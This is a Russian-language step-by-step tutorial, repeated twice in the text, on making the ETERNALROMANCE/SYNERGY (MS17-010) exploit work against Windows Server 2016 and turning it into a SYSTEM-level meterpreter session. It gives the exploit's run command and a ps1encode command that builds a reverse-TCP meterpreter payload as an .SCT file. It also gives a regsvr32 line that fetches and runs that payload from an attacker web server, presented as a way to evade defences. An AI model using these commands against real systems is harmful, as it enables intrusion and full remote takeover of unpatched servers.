В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.
Автор: Sheila A. Berta (@UnaPibaGeek)
Введение
Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы.
С целью понимания и улучшения эксплоитов от NSA, опубликованные работы были проанализированы многими специалистами по безопасности. Как итог, некоторое время назад появилась более стабильная версия (разработанная исследователем Sleepya) эксплоита ETERNALROMANCE/SYNERGY с улучшенным методом эксплуатации и направленным на системы под управлением Windows Server 2012 и 2016. Однако для того чтобы использовать этот эксплоит необходимо разобраться в механизме работы этого скрипта и модифицировать некоторые вещи для получения желаемого результата.
В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.
Как обычно, вся информация приводится в ознакомительных целях.
Настройка лабораторной среды
Для настройки лабораторной среды нужно сконфигурировать следующие системы:
Целевая система - Windows Server 2016
Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой.
Рисунок 1: Конфигурация целевой машины
После установки операционной системы дополнительные настройки не требуются. Достаточно знать IP-адрес и убедиться в том, что машина включена на момент атаки.
Система злоумышленника - GNU/Linux
Возможно использование любой другой операционной системы, которая поддерживает работу следующих инструментов:
Эксплоит можно скачать по следующей ссылке:
Exploit – Page 42315 – Exploits Database.
Поскольку скрипт написан на Python, сохраняем файл с расширением .py на машине злоумышленника. Во время запуска возникает следующая ошибка:
Рисунок 2: Ошибка, возникающая при запуске эксплоита
Решение проблем с зависимостями
В третьей строке эксплоита импортируется модуль "mysmb", которого нет в Python. Установить этот модуль, разработанный Sleepya, можно установить при помощи утилиты pip, либо скачать по следующей ссылке: MS17-010/mysmb.py at master · worawit/MS17-010 · GitHub.
Файл модуля с именем "mysmb.py" помещаем в папку со скриптом. Для того чтобы эксплоит смог импортировать код модуля, необходимо создать файл с именем «__INIT__.py» с перечнем нужных модулей.
Теперь скрипт сможет найти нужный модуль и не будет выдавать ошибок:
Рисунок 3: Добавление файла __INIT__.py и запуск эксплоита
Проверка работоспособности эксплоита
Возможна проверка работоспособности эксплоита без каких-либо модификаций. Если мы запустим скрипт как есть по завершению работы в корневой директории диска C:\ на целевой машине будет создан файл с именем "pwned.txt".
Несмотря на то, что в простейшем случае никакие изменения не требуются, конкретно в вашей ситуации может потребоваться модификация некоторых параметров.
Аутентификация
Уязвимость, используемая в эксплоите ETERNALROMANCE/SYNERGY, требует аутентификации. Эксплуатацию можно осуществить через гостевую учетную запись. Если гостевой аккаунт отключен, нам нужно получить имя пользователя и пароль любой другой учетной записи, которая используется на целевой машине. Важно отметить, что уровень привилегий не имеет значения. Даже если учетная запись с гостевыми правами, после атаки привилегии будут повышены до системного уровня.
Информация об учетной записи задается в файле exploit.py в строках 26-27:
Рисунок 4: Информация об имени пользователя и пароле, используемых для аутентификации во время атаки
Параметры
Для корректной работы эксплоита необходимо настроить два параметра: IP-адрес целевой машины и имя канала (pipe name). Протокол SMB поддерживает три типа общих ресурсов:
Лично я пользуюсь «spoolss». Альтернативный вариант: «browser». Кроме того, можно воспользоваться сканером auxiliary/scanner/smb/pipe_auditor в metasploit для поиска доступных каналов на целевой машине.
Запуск без шелл-кода
Теперь запускаем эксплоит при помощи следующей команды:
python exploit.py <target_ip> spoolss
Рисунок 5: Запуск эксплоита
Как было сказано ранее, если эксплуатация завершилась успешно, в корневой директории диска «C:\» появится новый файл «pwned.txt».
Рисунок 6: После успешной эксплуатации на целевой машине появился файл pwned.txt
На данный момент мы уже сделали большой шаг, выполнив успешную эксплуатацию. Теперь нужно модифицировать эксплоит так, чтобы запустить шелл в meterpreter.
Создание шелл-кода
Существует множество способов запустить meterpreter-шелл или выполнить какие-либо другие действия вместо создания текстового файла.
Первый шаг – генерирование шелл-кода, который мы будем использовать в дальнейшем. Лично я очень люблю один метод, у которого масса преимуществ, когда речь заходит про обход различных защит.
Шелл-код будет помещен в файл .SCT, который эксплоит будет загружать и запускать на целевой машине, в результате чего мы получим долгожданную meterpreter-сессию.
Создание файла .SCT при помощи утилиты PS1ENCODE
Ps1encode позволяет сгенерировать и закодировать полезные нагрузки для metasploit в различных форматах на базе PowerShell.
Эту утилиту можно загрузить на github: GitHub - CroweCybersecurity/ps1encode: Script used to generate and encode a PowerShell based Metasploit payloads..
Для генерирования нужной полезной нагрузки нам необходимо запустить Ps1encode со следующими параметрами:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct
Сгенерированный файл .SCT должен храниться на веб-сервере на машине злоумышленника или в любом другом месте, к которому можно получить доступ из целевой системы. Поэтому при запуске предыдущей команды задается вопрос о том, какой будет полный URL, где мы будем хранить файл .sct. Если будет использоваться машина злоумышленника, нужно ввести следующий URL: http://<ATTACKER_IP>.
Рисунок 7: Создание полезной нагрузки index.sct
Помещение шелл-кода в место, доступное из целевой системы
На предыдущем шаге мы создали файл index.sct в папке утилиты Ps1Encode. Чтобы этот файл был доступен для загрузки эксплоитом на целевой машине мы должны поместить полезную нагрузку в папку веб-сервера и назначить нужные права.
Рисунок 8: Копирование полезной нагрузки на веб-сервер и назначение прав
После выполнения команд, показанных на рисунке выше, у нас появляется шелл-код, готовый к употреблению.
Изменение эксплоита
Если мы откроем скрипт в текстовом редакторе и перейдем к строке 463 (и ниже), то увидим следующий код:
Рисунок 9: Участок кода эксплоита
На рисунке выше показаны функции, используемые для создания файла «pwned.txt» на целевой машине. Более интересной для нас является закомментированная строка с функцией service_exec().
Функция service_exec() в качестве примера выполняет команду «copy» для создания копии файла «pwned.txt». Эта строка кода не будет выполняться до тех пор, пока вначале стоит символ «#». Если убрать этот символ и запустить эксплоит повторно, мы увидим, что в корне диска «C:\» появилось два файла: pwned.txt и pwned_exec.txt.
Вместо команды copy можно поставить любую другую, которая нам необходима.
Запуск шелл-кода
Теперь мы знаем, в каком месте нужно модифицировать эксплоит для выполнения команды загрузки и запуска шелла в meterpreter:
regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll
Эксплоит будет выглядеть так:
Рисунок 10: Модифицированная версия эксплоита
Получение Meterpreter-сессии
В самом конце, перед запуском эксплоита, мы должны настроить модуль exploit/multi/handler для получения meterpreter-сессии.
Рисунок 11: Настройка модуля exploit/multi/handler
Далее запускаем модифицированную версию эксплоита:
Рисунок 12: Запуск измененного эксплоита
Через несколько секунд мы получим meterpreter-сессию на целевой машине с системными привилегиями.
Рисунок 13: Получение meterpreter-сессии
Подробнее: Как при помощи эксплоита ETERNALROMANCE/SYNERGY получить METERPRETER-сессию
Автор: Sheila A. Berta (@UnaPibaGeek)
Введение
Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы.
С целью понимания и улучшения эксплоитов от NSA, опубликованные работы были проанализированы многими специалистами по безопасности. Как итог, некоторое время назад появилась более стабильная версия (разработанная исследователем Sleepya) эксплоита ETERNALROMANCE/SYNERGY с улучшенным методом эксплуатации и направленным на системы под управлением Windows Server 2012 и 2016. Однако для того чтобы использовать этот эксплоит необходимо разобраться в механизме работы этого скрипта и модифицировать некоторые вещи для получения желаемого результата.
В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.
Как обычно, вся информация приводится в ознакомительных целях.
Настройка лабораторной среды
Для настройки лабораторной среды нужно сконфигурировать следующие системы:
Целевая система - Windows Server 2016
Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой.

Рисунок 1: Конфигурация целевой машины
После установки операционной системы дополнительные настройки не требуются. Достаточно знать IP-адрес и убедиться в том, что машина включена на момент атаки.
Система злоумышленника - GNU/Linux
Возможно использование любой другой операционной системы, которая поддерживает работу следующих инструментов:
- Python v2.7 - Python 2.7.0 Release
- Ps1Encode - GitHub - CroweCybersecurity/ps1encode: Script used to generate and encode a PowerShell based Metasploit payloads.
- Metasploit Framework - GitHub - rapid7/metasploit-framework: Metasploit Framework
- Windows Server 2016 x64 – IP-адрес: 10.0.2.13 - Целевая система.
- GNU/Linux Debian x64 – IP-адрес: 10.0.2.6 - Система злоумышленника.
Эксплоит можно скачать по следующей ссылке:
Exploit – Page 42315 – Exploits Database.
Поскольку скрипт написан на Python, сохраняем файл с расширением .py на машине злоумышленника. Во время запуска возникает следующая ошибка:

Рисунок 2: Ошибка, возникающая при запуске эксплоита
Решение проблем с зависимостями
В третьей строке эксплоита импортируется модуль "mysmb", которого нет в Python. Установить этот модуль, разработанный Sleepya, можно установить при помощи утилиты pip, либо скачать по следующей ссылке: MS17-010/mysmb.py at master · worawit/MS17-010 · GitHub.
Файл модуля с именем "mysmb.py" помещаем в папку со скриптом. Для того чтобы эксплоит смог импортировать код модуля, необходимо создать файл с именем «__INIT__.py» с перечнем нужных модулей.
Теперь скрипт сможет найти нужный модуль и не будет выдавать ошибок:

Рисунок 3: Добавление файла __INIT__.py и запуск эксплоита
Проверка работоспособности эксплоита
Возможна проверка работоспособности эксплоита без каких-либо модификаций. Если мы запустим скрипт как есть по завершению работы в корневой директории диска C:\ на целевой машине будет создан файл с именем "pwned.txt".
Несмотря на то, что в простейшем случае никакие изменения не требуются, конкретно в вашей ситуации может потребоваться модификация некоторых параметров.
Аутентификация
Уязвимость, используемая в эксплоите ETERNALROMANCE/SYNERGY, требует аутентификации. Эксплуатацию можно осуществить через гостевую учетную запись. Если гостевой аккаунт отключен, нам нужно получить имя пользователя и пароль любой другой учетной записи, которая используется на целевой машине. Важно отметить, что уровень привилегий не имеет значения. Даже если учетная запись с гостевыми правами, после атаки привилегии будут повышены до системного уровня.
Информация об учетной записи задается в файле exploit.py в строках 26-27:

Рисунок 4: Информация об имени пользователя и пароле, используемых для аутентификации во время атаки
Параметры
Для корректной работы эксплоита необходимо настроить два параметра: IP-адрес целевой машины и имя канала (pipe name). Протокол SMB поддерживает три типа общих ресурсов:
- File: файловые (или дисковые) общие ресурсы, представляющие собой дерево директорий с файлами.
- Print: доступ к ресурсам принтера на сервере.
- Pipe: коммуникация между процессами, использующими модель FIFO, при помощи именованных каналов, которые активны до тех пор, пока система работает, даже если процесс уже не активен.
Лично я пользуюсь «spoolss». Альтернативный вариант: «browser». Кроме того, можно воспользоваться сканером auxiliary/scanner/smb/pipe_auditor в metasploit для поиска доступных каналов на целевой машине.
Запуск без шелл-кода
Теперь запускаем эксплоит при помощи следующей команды:
python exploit.py <target_ip> spoolss

Рисунок 5: Запуск эксплоита
Как было сказано ранее, если эксплуатация завершилась успешно, в корневой директории диска «C:\» появится новый файл «pwned.txt».

Рисунок 6: После успешной эксплуатации на целевой машине появился файл pwned.txt
На данный момент мы уже сделали большой шаг, выполнив успешную эксплуатацию. Теперь нужно модифицировать эксплоит так, чтобы запустить шелл в meterpreter.
Создание шелл-кода
Существует множество способов запустить meterpreter-шелл или выполнить какие-либо другие действия вместо создания текстового файла.
Первый шаг – генерирование шелл-кода, который мы будем использовать в дальнейшем. Лично я очень люблю один метод, у которого масса преимуществ, когда речь заходит про обход различных защит.
Шелл-код будет помещен в файл .SCT, который эксплоит будет загружать и запускать на целевой машине, в результате чего мы получим долгожданную meterpreter-сессию.
Создание файла .SCT при помощи утилиты PS1ENCODE
Ps1encode позволяет сгенерировать и закодировать полезные нагрузки для metasploit в различных форматах на базе PowerShell.
Эту утилиту можно загрузить на github: GitHub - CroweCybersecurity/ps1encode: Script used to generate and encode a PowerShell based Metasploit payloads..
Для генерирования нужной полезной нагрузки нам необходимо запустить Ps1encode со следующими параметрами:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct
Сгенерированный файл .SCT должен храниться на веб-сервере на машине злоумышленника или в любом другом месте, к которому можно получить доступ из целевой системы. Поэтому при запуске предыдущей команды задается вопрос о том, какой будет полный URL, где мы будем хранить файл .sct. Если будет использоваться машина злоумышленника, нужно ввести следующий URL: http://<ATTACKER_IP>.

Рисунок 7: Создание полезной нагрузки index.sct
Помещение шелл-кода в место, доступное из целевой системы
На предыдущем шаге мы создали файл index.sct в папке утилиты Ps1Encode. Чтобы этот файл был доступен для загрузки эксплоитом на целевой машине мы должны поместить полезную нагрузку в папку веб-сервера и назначить нужные права.

Рисунок 8: Копирование полезной нагрузки на веб-сервер и назначение прав
После выполнения команд, показанных на рисунке выше, у нас появляется шелл-код, готовый к употреблению.
Изменение эксплоита
Если мы откроем скрипт в текстовом редакторе и перейдем к строке 463 (и ниже), то увидим следующий код:

Рисунок 9: Участок кода эксплоита
На рисунке выше показаны функции, используемые для создания файла «pwned.txt» на целевой машине. Более интересной для нас является закомментированная строка с функцией service_exec().
Функция service_exec() в качестве примера выполняет команду «copy» для создания копии файла «pwned.txt». Эта строка кода не будет выполняться до тех пор, пока вначале стоит символ «#». Если убрать этот символ и запустить эксплоит повторно, мы увидим, что в корне диска «C:\» появилось два файла: pwned.txt и pwned_exec.txt.
Вместо команды copy можно поставить любую другую, которая нам необходима.
Запуск шелл-кода
Теперь мы знаем, в каком месте нужно модифицировать эксплоит для выполнения команды загрузки и запуска шелла в meterpreter:
regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll
Эксплоит будет выглядеть так:

Рисунок 10: Модифицированная версия эксплоита
Получение Meterpreter-сессии
В самом конце, перед запуском эксплоита, мы должны настроить модуль exploit/multi/handler для получения meterpreter-сессии.

Рисунок 11: Настройка модуля exploit/multi/handler
Далее запускаем модифицированную версию эксплоита:

Рисунок 12: Запуск измененного эксплоита
Через несколько секунд мы получим meterpreter-сессию на целевой машине с системными привилегиями.

Рисунок 13: Получение meterpreter-сессии
Подробнее: Как при помощи эксплоита ETERNALROMANCE/SYNERGY получить METERPRETER-сессию
Последнее редактирование: